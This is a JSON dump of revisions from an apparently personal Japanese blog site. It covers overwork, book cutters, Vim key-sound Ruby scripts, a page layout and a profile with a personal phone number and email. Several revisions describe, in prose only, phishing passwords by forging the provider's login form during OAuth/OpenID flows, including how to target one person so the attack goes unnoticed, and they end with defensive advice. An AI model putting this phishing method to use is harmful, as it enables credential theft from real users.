労働者の皆さんへ\r\n経営者は大抵非常に強烈な精神力と体力を持っています。経営者が働いているように働いたら身が持ちません。あなたは起業しようと思う意志がありましたか?無いので労働者なわけです。故に経営者達ほど精神力と体力が無い可能性が非常に高いです。\r\n\r\n格闘家が「リングの上で死ぬなら本望だ」と言ったらどうでしょうか。「そんなもんだろう」とあなたは思うのではないでしょうか。経営者は「仕事をしながら死ぬなら本望だ」と考える人達です。それに付き合って死ぬのは馬鹿らしいことです。\r\n\r\n\r\n----\r\n\r\n本当に悲しいことですが、こういうことを理解しない結果発生する行き違いというのを、非常に高頻度に見ます。悲しいことです。","created_at":"2012-10-04T12:05:04.000Z","updated_at":"2012-10-04T12:05:04.000Z"},{"id":2194,"name":"text/裁断器と世相","body":"%blog%\r\n\r\n本を裁断し、ドキュメントスキャナなどで取り込み電子化するいわゆる自炊が世に定着して既に久しいです。御礼は三行以上を経て子鯖文化圏を経験して来た僕からしますと(罪の告白)、自炊という言葉を「まともな人達」が使っているのを見る度に隔世の感を覚えます。\r\n\r\n日本の電子書籍市場の立ち上げが携帯コミック分野にのみ限られていることはよく知られています。いろいろと電子書籍ストアが立ち上がってはいますが、ラインナップがかなり残念という点では共通しています。重い本を何冊も持ち歩くなんてもはや如何にもナンセンスなことです。自炊しろ!!!!\r\n\r\nというわけで、スキャナが必要です。定番は ScanSnap か ImageFomula でしょうか。これについて私が言うことは何もありません。\r\n\r\nスキャナだけあっても駄目で、裁断器が必要です。裁断器について Web を覗きますと、よく勧められているのは以下の二機種でしょうか\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B002MRPKRC\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B005GICA5Y\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n私はこれらの裁断器が広く使用されているという現状に、「自炊」界隈の現実を見ます。\r\n\r\nまあ何が言いたいかと言うと。上記二機種は**糞の塊**です。話にならない。そう思っていたんです。さっきまで。\r\n\r\n何故そうかと言いますと、裁断出来る最大ページ数が少ないのです。せいぜい 100 ページとか 200 ページとか。 200 ページでも結構厳しいです。\r\n\r\nあれっ、本ってそんな薄いもんだったけ?これで文庫とかハードカバーとかの本斬るの厳しくない?\r\n\r\nというか[大竹](http://unsigned.g.hatena.ne.jp/Trapezoid/20100712/1278942990)の家で試してみたけど無理でした。\r\n\r\nよく「自炊」界隈で紹介されてる裁断器じゃハードカバーどころか文庫本すら斬れないんですよ。別の刃物で本を分割してから斬らないと駄目です。\r\n\r\nこれ使い物にならんやんけ、糞だろ、死ねやボケナスどもが、というふうに思ってたんです。ですがさっき気付いんですけど、ようは、みんな、これで斬れるものしか斬ってないんですよね。\r\n\r\n具体的には薄い新書とマンガを斬ってる。マンガでも結構厳しいこと多いから、たぶんメインは新書。「新書ばっか読む」ということについてどうこう言う気はありませんが(しかし言いたい)、新書ばっか読んでる人が「自炊」のメインユーザーなのではないかなと思いました。\r\n\r\nちなみにこちらの裁断器\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B003MPRP9Y\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nですと 800 ページぐらいの本も一撃で斬れるのでオススメです。上手く遣えるようになるには若干慣れが必要で[怪我のリスク](http://text.ssig33.com/55)もありますが、、、\r\n","created_at":"2012-10-05T08:00:49.000Z","updated_at":"2012-10-05T08:00:49.000Z"},{"id":2195,"name":"text/裁断器と世相","body":"%blog%\r\n\r\nAmazon の広告貼りまくっててそれ見ないと意味分からない記事なので Adblock などを使ってる方はそこんとこよろしくお願いします。\r\n\r\n本を裁断し、ドキュメントスキャナなどで取り込み電子化するいわゆる自炊が世に定着して既に久しいです。御礼は三行以上を経て子鯖文化圏を経験して来た僕からしますと(罪の告白)、自炊という言葉を「まともな人達」が使っているのを見る度に隔世の感を覚えます。\r\n\r\n日本の電子書籍市場の立ち上げが携帯コミック分野にのみ限られていることはよく知られています。いろいろと電子書籍ストアが立ち上がってはいますが、ラインナップがかなり残念という点では共通しています。重い本を何冊も持ち歩くなんてもはや如何にもナンセンスなことです。自炊しろ!!!!\r\n\r\nというわけで、スキャナが必要です。定番は ScanSnap か ImageFomula でしょうか。これについて私が言うことは何もありません。\r\n\r\nスキャナだけあっても駄目で、裁断器が必要です。裁断器について Web を覗きますと、よく勧められているのは以下の二機種でしょうか\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B002MRPKRC\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B005GICA5Y\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n私はこれらの裁断器が広く使用されているという現状に、「自炊」界隈の現実を見ます。\r\n\r\nまあ何が言いたいかと言うと。上記二機種は**糞の塊**です。話にならない。そう思っていたんです。さっきまで。\r\n\r\n何故そうかと言いますと、裁断出来る最大ページ数が少ないのです。せいぜい 100 ページとか 200 ページとか。 200 ページでも結構厳しいです。\r\n\r\nあれっ、本ってそんな薄いもんだったけ?これで文庫とかハードカバーとかの本斬るの厳しくない?\r\n\r\nというか[大竹](http://unsigned.g.hatena.ne.jp/Trapezoid/20100712/1278942990)の家で試してみたけど無理でした。\r\n\r\nよく「自炊」界隈で紹介されてる裁断器じゃハードカバーどころか文庫本すら斬れないんですよ。別の刃物で本を分割してから斬らないと駄目です。\r\n\r\nこれ使い物にならんやんけ、糞だろ、死ねやボケナスどもが、というふうに思ってたんです。ですがさっき気付いんですけど、ようは、みんな、これで斬れるものしか斬ってないんですよね。\r\n\r\n具体的には薄い新書とマンガを斬ってる。マンガでも結構厳しいこと多いから、たぶんメインは新書。「新書ばっか読む」ということについてどうこう言う気はありませんが(しかし言いたい)、新書ばっか読んでる人が「自炊」のメインユーザーなのではないかなと思いました。\r\n\r\nちなみにこちらの裁断器\r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B003MPRP9Y\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nですと 800 ページぐらいの本も一撃で斬れるのでオススメです。上手く遣えるようになるには若干慣れが必要で[怪我のリスク](http://text.ssig33.com/55)もありますが、、、","created_at":"2012-10-05T08:13:32.000Z","updated_at":"2012-10-05T08:13:32.000Z"},{"id":2196,"name":"text/文化について","body":"%blog%\r\n\r\n平安神宮のミルキィホームズで怒ってる人そこそこ見るけど、平安神宮って能も奉納されてるし、能が初期においては現代のアイドルと同じような扱いだったことは桟敷崩れの能などからも分かるし、ミルキィホームズだけを文化の中で差別する理由は何かあるのか、直感や無知に基いて行動してないか、そういうことを考えたほうがいいと思う。真面目に。寺社に関わる仕事をしてる人や芸能に関わる仕事をしてるが怒ってるの見ると、そういう人は界隈に害しか為さないんじゃないかと思う。","created_at":"2012-10-08T02:59:27.000Z","updated_at":"2012-10-08T02:59:27.000Z"},{"id":2197,"name":"text/音が鳴るエディタ軽量化","body":"%blog%\r\n\r\n[音の鳴るエディタ](http://r7kamura.hatenablog.com/entry/2012/10/09/155041)が便利だけど使うと Vim が死ぬほど重くなる。適当に軽量化した。\r\n\r\n### ~/bin/vim-key-sound.rb\r\n``` ruby\r\n#!/usr/bin/env ruby\r\nopen(\"#{ENV[\"HOME\"]}/vim_audio_list\",'a'){|x| x.puts ARGV[0]}\r\n```\r\n\r\n### 実際に音鳴らすやつ\r\n``` ruby\r\n#!/usr/bin/env ruby\r\n\r\nrequire \"coreaudio\"\r\n\r\nclass SinWaveSounder\r\n LONG = 44000\r\n\r\n scale = 2.0 ** (1 / 12.0)\r\n FREQUENCIES = 28.times.map do |i|\r\n 220 * (scale ** i)\r\n end\r\n\r\n def initialize\r\n dev = CoreAudio.default_output_device\r\n @buf = dev.output_loop(LONG)\r\n end\r\n\r\n def sound(frequency, sec)\r\n phase = Math::PI * 2.0 * frequency / LONG\r\n LONG.times do |i|\r\n @buf[i] = ((0.4 * Math.sin(phase*i)) * 0x7FFF).round\r\n end\r\n\r\n @buf.start\r\n sleep(sec)\r\n @buf.stop\r\n end\r\n\r\n def random_sound(seed, sec)\r\n i = seed.ord % FREQUENCIES.size\r\n sound(FREQUENCIES[i], sec)\r\n end\r\nend\r\n\r\nsounder = SinWaveSounder.new\r\n\r\nwhile true\r\n f = open(\"#{ENV[\"HOME\"]}/vim_audio_list\")\r\n list = f.read.split(\"\\n\")\r\n f.close\r\n list.delete_if{|x| x == ''}\r\n if list.count \u003e 0\r\n f = open(\"#{ENV[\"HOME\"]}/vim_audio_list\", \"w\")\r\n f.puts ''\r\n f.close\r\n list.each{|x|\r\n next if x.nil? or x.empty?\r\n sounder.random_sound(x, 0.1)\r\n }\r\n end\r\n sleep 0.1\r\nend\r\n```\r\n\r\n### ちょっとした説明\r\nVim から呼ぶプロセスは入力されたものをキュー(と呼ぶのもおこがましい酷いもの)に溜め込むだけ。音は別のプロセスが鳴らす。まあ酷いもんだがこれでも実用的に動く。\r\n\r\n実際に音を出すやつをターミナルとかで実行しておくと、音が出る。 vimproc で非同期にプロセス読んでも結局どこかでブロックしてるっぽい。呼び出すプロセスを軽くしたら軽くなった。もしかしたら中村さんが非同期にプロセス呼べてないだけかもしれないけど、僕も Vim 詳しくないのでよく分からない。\r\n\r\nいずれにせよ上記のアプローチで実用的に音が出るようになった。非常にいいと思う。","created_at":"2012-10-09T07:19:47.000Z","updated_at":"2012-10-09T07:19:47.000Z"},{"id":2198,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('ruby');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2012-10-09T07:21:43.000Z","updated_at":"2012-10-09T07:21:43.000Z"},{"id":2199,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2012-10-09T07:22:05.000Z","updated_at":"2012-10-09T07:22:05.000Z"},{"id":2200,"name":"text/音が鳴るエディタ軽量化","body":"%blog%\r\n\r\n[音の鳴るエディタ](http://r7kamura.hatenablog.com/entry/2012/10/09/155041)が便利だけど使うと Vim が死ぬほど重くなる。適当に軽量化した。\r\n\r\n### ~/bin/vim-key-sound.rb\r\n``` ruby\r\n#!/usr/bin/env ruby\r\nopen(\"#{ENV[\"HOME\"]}/vim_audio_list\",'a'){|x| x.puts ARGV[0]}\r\n```\r\n\r\n### 実際に音鳴らすやつ\r\n``` ruby\r\n#!/usr/bin/env ruby\r\n\r\nrequire \"coreaudio\"\r\nrequire 'kconv'\r\n\r\nclass SinWaveSounder\r\n LONG = 44000\r\n\r\n scale = 2.0 ** (1 / 12.0)\r\n FREQUENCIES = 28.times.map do |i|\r\n 220 * (scale ** i)\r\n end\r\n\r\n def initialize\r\n dev = CoreAudio.default_output_device\r\n @buf = dev.output_loop(LONG)\r\n end\r\n\r\n def sound(frequency, sec)\r\n phase = Math::PI * 2.0 * frequency / LONG\r\n LONG.times do |i|\r\n @buf[i] = ((0.4 * Math.sin(phase*i)) * 0x7FFF).round\r\n end\r\n\r\n @buf.start\r\n sleep(sec)\r\n @buf.stop\r\n end\r\n\r\n def random_sound(seed, sec)\r\n i = seed.ord % FREQUENCIES.size\r\n sound(FREQUENCIES[i], sec)\r\n end\r\nend\r\n\r\nsounder = SinWaveSounder.new\r\n\r\nwhile true\r\n f = open(\"#{ENV[\"HOME\"]}/vim_audio_list\")\r\n list = f.read.toutf8.split(\"\\n\")\r\n f.close\r\n list.delete_if{|x| x == ''}\r\n if list.count \u003e 0\r\n f = open(\"#{ENV[\"HOME\"]}/vim_audio_list\", \"w\")\r\n f.puts ''\r\n f.close\r\n list.each{|x|\r\n next if x.nil? or x.empty?\r\n sounder.random_sound(x, 0.1)\r\n }\r\n end\r\n sleep 0.1\r\nend\r\n```\r\n\r\n### ちょっとした説明\r\nVim から呼ぶプロセスは入力されたものをキュー(と呼ぶのもおこがましい酷いもの)に溜め込むだけ。音は別のプロセスが鳴らす。まあ酷いもんだがこれでも実用的に動く。\r\n\r\n実際に音を出すやつをターミナルとかで実行しておくと、音が出る。 vimproc で非同期にプロセス読んでも結局どこかでブロックしてるっぽい。呼び出すプロセスを軽くしたら軽くなった。もしかしたら中村さんが非同期にプロセス呼べてないだけかもしれないけど、僕も Vim 詳しくないのでよく分からない。\r\n\r\nいずれにせよ上記のアプローチで実用的に音が出るようになった。非常にいいと思う。","created_at":"2012-10-09T07:25:31.000Z","updated_at":"2012-10-09T07:25:31.000Z"},{"id":2201,"name":"text/OAuth とか OpenID とかのフローを利用してフィッシングする話","body":"%blog%\r\n\r\nはじめに。これは霊界に住む死者から通信に基き書かれた記事です。しかし文責は私にあります。\r\n\r\nOpenID はパスワードの授受なしに認証の伝達が出来る仕組みです。 OAuth はパスワードの授受なしでリソースへのアクセス権限を委譲出来る仕組みです。\r\n\r\nこうした仕組みを用いて外部サイトと連携している限り、外部サイトへパスワードなどが流出する可能性は低いです。また外部サイトが所有する OAuth の token などが外部に流出たとしても、サイトの利用者や OAuth を提供するプロバイダーがその token を早期に無効にすることが出来ます。\r\n\r\nしかしセキュリティへしっかり配慮されて作られた OpenID や OAuth をパスワードを抜く為のフィッシングに使用することが出来ます。以下のような具合です。\r\n\r\n1. OpenID 経由で外部サイトにログインしようとする/OAuth を使用して外部サイトに権限を委譲しようとする\r\n2. プロバイダーにログインしていなかった場合、プロバイダーによってはログインフォームが出る\r\n3. このログインフォームを捏造する\r\n - 利用者がプロバイダーにログインしてる状態なら「あれっセッション消えてたかな?」で終わる\r\n - 利用者がプロバイダーにログインしていない状態だとログインフォームが二度出る、が「あれっなんか調子悪いかな?」で済ます人多そう\r\n4. 捏造されたログインフォームから先は正規の UX に流す\r\n5. 上手くすれば利用者は気付かずパスワードを渡してくれる\r\n\r\nこうした攻撃を回避する為の方法は唯一つです。これまで全てのフィッシングと同じように「認証情報を入力する画面ではアドレスバーを必ず確認する」ということです。\r\n\r\nですが近年モバイルを中心にアドレスバーを確認することが困難または不可能なブラウジング環境が多々出てきています。こうした環境で認証情報を絶対に入力してはならないということを広く広報すべきでしょう。\b","created_at":"2012-10-10T08:29:52.000Z","updated_at":"2012-10-10T08:29:52.000Z"},{"id":2202,"name":"text/OAuth とか OpenID とかのフローを利用してフィッシングする話","body":"%blog%\r\n\r\nはじめに。これは霊界に住む死者から通信に基き書かれた記事です。しかし文責は私にあります。\r\n\r\nOpenID はパスワードの授受なしに認証の伝達が出来る仕組みです。 OAuth はパスワードの授受なしでリソースへのアクセス権限を委譲出来る仕組みです。\r\n\r\nこうした仕組みを用いて外部サイトと連携している限り、外部サイトへパスワードなどが流出する可能性は低いです。また外部サイトが所有する OAuth の token などが外部に流出たとしても、サイトの利用者や OAuth を提供するプロバイダーがその token を早期に無効にすることが出来ます。\r\n\r\nしかしセキュリティへしっかり配慮されて作られた OpenID や OAuth をパスワードを抜く為のフィッシングに使用することが出来ます。以下のような具合です。\r\n\r\n1. OpenID 経由で外部サイトにログインしようとする/OAuth を使用して外部サイトに権限を委譲しようとする\r\n2. プロバイダーにログインしていなかった場合、プロバイダーによってはログインフォームが出る\r\n3. このログインフォームを捏造する\r\n - 利用者がプロバイダーにログインしてる状態なら「あれっセッション消えてたかな?」で終わる\r\n - 利用者がプロバイダーにログインしていない状態だとログインフォームが二度出る、が「あれっなんか調子悪いかな?」で済ます人多そう\r\n4. 捏造されたログインフォームから先は正規の UX に流す\r\n5. 上手くすれば利用者は気付かずパスワードを渡してくれる\r\n\r\nこうした攻撃を回避する為の方法は唯一つです。これまで全てのフィッシングと同じように「認証情報を入力する画面ではアドレスバーを必ず確認する」ということです。\r\n\r\nですが近年モバイルを中心にアドレスバーを確認することが困難または不可能なブラウジング環境が多々出てきています。こうした環境で認証情報を絶対に入力してはならないということを広く広報すべきでしょう。\b\r\n\r\nしかしまあ現実にアドレスバーを確認出来ない環境が多い以上、プロバイダー側で対応(ログイン -\u003e OAuth っていうフローを潰す)すべきでは、、、という気もしないでもない。","created_at":"2012-10-10T08:31:45.000Z","updated_at":"2012-10-10T08:31:45.000Z"},{"id":2203,"name":"text/OAuth とか OpenID とかのフローを利用してフィッシングする話","body":"%blog%\r\n\r\nはじめに。これは霊界に住む死者から通信に基き書かれた記事です。しかし文責は私にあります。\r\n\r\nOpenID はパスワードの授受なしに認証の伝達が出来る仕組みです。 OAuth はパスワードの授受なしでリソースへのアクセス権限を委譲出来る仕組みです。\r\n\r\nこうした仕組みを用いて外部サイトと連携している限り、外部サイトへパスワードなどが流出する可能性は低いです。また外部サイトが所有する OAuth の token などが外部に流出たとしても、サイトの利用者や OAuth を提供するプロバイダーがその token を早期に無効にすることが出来ます。\r\n\r\nしかしセキュリティへしっかり配慮されて作られた OpenID や OAuth をパスワードを抜く為のフィッシングに使用することが出来ます。以下のような具合です。\r\n\r\n1. OpenID 経由で外部サイトにログインしようとする/OAuth を使用して外部サイトに権限を委譲しようとする\r\n2. プロバイダーにログインしていなかった場合、プロバイダーによってはログインフォームが出る\r\n3. このログインフォームを捏造する\r\n - 利用者がプロバイダーにログインしてる状態なら「あれっセッション消えてたかな?」で終わる\r\n - 利用者がプロバイダーにログインしていない状態だとログインフォームが二度出る、が「あれっなんか調子悪いかな?」で済ます人多そう\r\n4. 捏造されたログインフォームから先は正規の UX に流す\r\n5. 上手くすれば利用者は気付かずパスワードを渡してくれる\r\n\r\nまたこの方法で特定の誰かのパスワードのみを抜きたいのであれば、最初のログインは普通にやって、既にログインしてる人がアクセスした時それがターゲットならフィッシングのフローに流せばよいです。対象に 2 回以上サービスを使わせる必要はあるがある程度は狙い撃ちできます。\r\n\r\nこうした攻撃を回避する為の方法は唯一つです。これまで全てのフィッシングと同じように「認証情報を入力する画面ではアドレスバーを必ず確認する」ということです。\r\n\r\nですが近年モバイルを中心にアドレスバーを確認することが困難または不可能なブラウジング環境が多々出てきています。こうした環境で認証情報を絶対に入力してはならないということを広く広報すべきでしょう。\b\r\n\r\nしかしまあ現実にアドレスバーを確認出来ない環境が多い以上、プロバイダー側で対応(ログイン -\u003e OAuth っていうフローを潰す)すべきでは、、、という気もしないでもない。","created_at":"2012-10-10T08:40:54.000Z","updated_at":"2012-10-10T08:40:54.000Z"},{"id":2204,"name":"text/OAuth とか OpenID とかのフローを利用してフィッシングする話","body":"%blog%\r\n\r\nはじめに。これは霊界に住む死者から通信に基き書かれた記事です。しかし文責は私にあります。\r\n\r\nOpenID はパスワードの授受なしに認証の伝達が出来る仕組みです。 OAuth はパスワードの授受なしでリソースへのアクセス権限を委譲出来る仕組みです。\r\n\r\nこうした仕組みを用いて外部サイトと連携している限り、外部サイトへパスワードなどが流出する可能性は低いです。また外部サイトが所有する OAuth の token などが外部に流出たとしても、サイトの利用者や OAuth を提供するプロバイダーがその token を早期に無効にすることが出来ます。\r\n\r\nしかしセキュリティへしっかり配慮されて作られた OpenID や OAuth をパスワードを抜く為のフィッシングに使用することが出来ます。以下のような具合です。\r\n\r\n1. OpenID 経由で外部サイトにログインしようとする/OAuth を使用して外部サイトに権限を委譲しようとする\r\n2. プロバイダーにログインしていなかった場合、プロバイダーによってはログインフォームが出る\r\n3. このログインフォームを捏造する\r\n - 利用者がプロバイダーにログインしてる状態なら「あれっセッション消えてたかな?」で終わる\r\n - 利用者がプロバイダーにログインしていない状態だとログインフォームが二度出る、が「あれっなんか調子悪いかな?」で済ます人多そう\r\n4. 捏造されたログインフォームから先は正規の UX に流す\r\n5. 上手くすれば利用者は気付かずパスワードを渡してくれる\r\n\r\nまたこの方法で特定の誰かのパスワードのみを抜きたいのであれば、最初のログインは普通にやって、既にログインしてる人がアクセスした時それがターゲットならフィッシングのフローに流せばよいです。対象に 2 回以上サービスを使わせる必要はあるがある程度は狙い撃ちできます。狙い撃ちすればバレる可能性もそれだけ下がるでしょう。\r\n\r\nこうした攻撃を回避する為の方法は唯一つです。これまで全てのフィッシングと同じように「認証情報を入力する画面ではアドレスバーを必ず確認する」ということです。\r\n\r\nですが近年モバイルを中心にアドレスバーを確認することが困難または不可能なブラウジング環境が多々出てきています。こうした環境で認証情報を絶対に入力してはならないということを広く広報すべきでしょう。\b\r\n\r\nしかしまあ現実にアドレスバーを確認出来ない環境が多い以上、プロバイダー側で対応(ログイン -\u003e OAuth っていうフローを潰す)すべきでは、、、という気もしないでもない。","created_at":"2012-10-10T08:41:11.000Z","updated_at":"2012-10-10T08:41:11.000Z"},{"id":2205,"name":"text/OAuth とか OpenID とかのフローを利用してフィッシングする話","body":"%blog%\r\n\r\nはじめに。これは霊界に住む死者からの通信に基き書かれた記事です。しかし文責は私にあります。\r\n\r\nOpenID はパスワードの授受なしに認証の伝達が出来る仕組みです。 OAuth はパスワードの授受なしでリソースへのアクセス権限を委譲出来る仕組みです。\r\n\r\nこうした仕組みを用いて外部サイトと連携している限り、外部サイトへパスワードなどが流出する可能性は低いです。また外部サイトが所有する OAuth の token などが外部に流出たとしても、サイトの利用者や OAuth を提供するプロバイダーがその token を早期に無効にすることが出来ます。\r\n\r\nしかしセキュリティへしっかり配慮されて作られた OpenID や OAuth をパスワードを抜く為のフィッシングに使用することが出来ます。以下のような具合です。\r\n\r\n1. OpenID 経由で外部サイトにログインしようとする/OAuth を使用して外部サイトに権限を委譲しようとする\r\n2. プロバイダーにログインしていなかった場合、プロバイダーによってはログインフォームが出る\r\n3. このログインフォームを捏造する\r\n - 利用者がプロバイダーにログインしてる状態なら「あれっセッション消えてたかな?」で終わる\r\n - 利用者がプロバイダーにログインしていない状態だとログインフォームが二度出る、が「あれっなんか調子悪いかな?」で済ます人多そう\r\n4. 捏造されたログインフォームから先は正規の UX に流す\r\n5. 上手くすれば利用者は気付かずパスワードを渡してくれる\r\n\r\nまたこの方法で特定の誰かのパスワードのみを抜きたいのであれば、最初のログインは普通にやって、既にログインしてる人がアクセスした時それがターゲットならフィッシングのフローに流せばよいです。対象に 2 回以上サービスを使わせる必要はあるがある程度は狙い撃ちできます。狙い撃ちすればバレる可能性もそれだけ下がるでしょう。\r\n\r\nこうした攻撃を回避する為の方法は唯一つです。これまで全てのフィッシングと同じように「認証情報を入力する画面ではアドレスバーを必ず確認する」ということです。\r\n\r\nですが近年モバイルを中心にアドレスバーを確認することが困難または不可能なブラウジング環境が多々出てきています。こうした環境で認証情報を絶対に入力してはならないということを広く広報すべきでしょう。\b\r\n\r\nしかしまあ現実にアドレスバーを確認出来ない環境が多い以上、プロバイダー側で対応(ログイン -\u003e OAuth っていうフローを潰す)すべきでは、、、という気もしないでもない。","created_at":"2012-10-10T16:54:15.000Z","updated_at":"2012-10-10T16:54:15.000Z"},{"id":2206,"name":"index","body":"\u003cspan class=\"h0\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[Old Texts](http://text.ssig33.com) \r\n\r\n[others](/others)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software 